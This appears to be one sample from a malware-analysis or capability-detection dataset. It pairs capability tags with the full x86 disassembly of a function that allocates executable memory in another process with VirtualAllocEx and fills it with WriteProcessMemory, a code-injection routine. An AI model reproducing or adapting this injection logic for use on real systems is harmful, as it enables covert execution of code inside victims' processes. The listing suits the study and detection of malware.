Function at 0x5179d4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x214
push 0
push 0
dec ecx
jne 0x5179dc
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x518586
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1041]
xor ecx, ecx
mov edx, 0x1001
call fcn.00403174
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52a2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebx, eax
call fcn.00402bb4
mov eax, 0x3e8
call fcn.00403194
add eax, ebx
inc eax
mov edx, dword [0x52a76c]
mov dword [edx + 0x34], eax
mov dl, 1
mov eax, dword [0x417b40]
call fcn.004038b4
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x14]
call fcn.004046f8
lea eax, [ebp - 0xc]
call fcn.0051a680
lea eax, [ebp - 0x10]
mov edx, 0x5185a0
call fcn.00404790
mov eax, dword [ebp - 0xc]
call fcn.004049b8
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x517ab5
mov esi, 1
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1048]
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00408fe8
push dword [ebp - 0x1048]
push 0x5185ac
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404a78
inc esi
dec ebx
jne 0x517a7e
lea ecx, [ebp - 0x104c]
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00408fe8
mov edx, dword [ebp - 0x104c]
lea eax, [ebp - 0x10]
call fcn.004049c0
lea eax, [ebp - 0x18]
call fcn.0051a680
lea eax, [ebp - 0x1c]
mov edx, 0x5185a0
call fcn.00404790
mov eax, dword [ebp - 0x18]
call fcn.004049b8
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x517b3b
mov esi, 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1050]
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00408fe8
push dword [ebp - 0x1050]
push 0x5185ac
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404a78
inc esi
dec ebx
jne 0x517b04
lea ecx, [ebp - 0x1054]
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00408fe8
mov edx, dword [ebp - 0x1054]
lea eax, [ebp - 0x1c]
call fcn.004049c0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049b8
cdq
push edx
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5185b8
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x1068]
call fcn.005177c4
push dword [ebp - 0x1068]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049b8
cdq
push edx
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5185e0
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x106c]
call fcn.005177c4
push dword [ebp - 0x106c]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 0x1070]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x5185f0
call fcn.00409ddc
mov edx, dword [ebp - 0x1070]
lea eax, [ebp - 8]
call fcn.00404790
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x1074]
call fcn.005177c4
push dword [ebp - 0x1074]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x500
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x518600
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 0x1078]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x518618
call fcn.00409ddc
mov edx, dword [ebp - 0x1078]
lea eax, [ebp - 8]
call fcn.00404790
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049b8
cdq
push edx
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049b8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x51
adc edx, 0
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5185b8
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x107c]
call fcn.005177c4
push dword [ebp - 0x107c]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x500
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x518630
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x510
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x518600
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x1080]
call fcn.005177c4
push dword [ebp - 0x1080]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 0x1084]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x518618
call fcn.00409ddc
mov edx, dword [ebp - 0x1084]
lea eax, [ebp - 8]
call fcn.00404790
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049b8
cdq
push edx
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049b8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x51
adc edx, 0
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5185b8
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x50c
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x518600
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x1088]
call fcn.005177c4
push dword [ebp - 0x1088]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 0x108c]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x518618
call fcn.00409ddc
mov edx, dword [ebp - 0x108c]
lea eax, [ebp - 8]
call fcn.00404790
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049b8
cdq
push edx
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049b8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x51
adc edx, 0
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5185b8
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x510
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x518644
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x50c
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x518658
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x1090]
call fcn.005177c4
push dword [ebp - 0x1090]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x504
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x518630
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049b8
cdq
push edx
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049b8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
add eax, 0x51
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5185b8
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049b8
cdq
push edx
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049b8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
add eax, 0x51
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5185e0
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 0x1094]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x51866c
call fcn.00409ddc
mov edx, dword [ebp - 0x1094]
lea eax, [ebp - 8]
call fcn.00404790
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
push dword [ebp - 0x14]
lea eax, [ebp - 0x1098]
call fcn.005177c4
push dword [ebp - 0x1098]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x508
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x51867c
call fcn.00409ddc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5185c8
push 0x5185d4
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a78
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x518502
inc ebx
xor esi, esi
lea ecx, [ebp - 0x10a0]
mov edx, esi
mov eax, dword [ebp - 0x20]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x10a0]
lea edx, [ebp - 0x109c]
call fcn.00408b04
mov eax, dword [ebp - 0x109c]
lea ecx, [ebp - 0x24]
mov edx, dword [ebp - 0x28]
call fcn.0049b3d8
mov eax, dword [ebp - 0x24]
call fcn.004058f8
mov edi, eax
inc edi
lea eax, [ebp - 0x2c]
push eax
push edi
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [0x52a2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
add dword [ebp - 0x28], edi
inc esi
dec ebx
jne 0x5184a4
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 1
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x40]
mov eax, dword [0x52a76c]
mov eax, dword [eax + 0x34]
add eax, 0x500
mov ecx, 0x14
call fcn.0051a548
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51858d
lea eax, [ebp - 0x10a0]
mov edx, 0xf
call fcn.0040471c
lea eax, [ebp - 0x1054]
mov edx, 4
call fcn.0040471c
lea eax, [ebp - 0x24]
mov edx, dword [0x497b50]
call fcn.00405ab8
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.0040471c
ret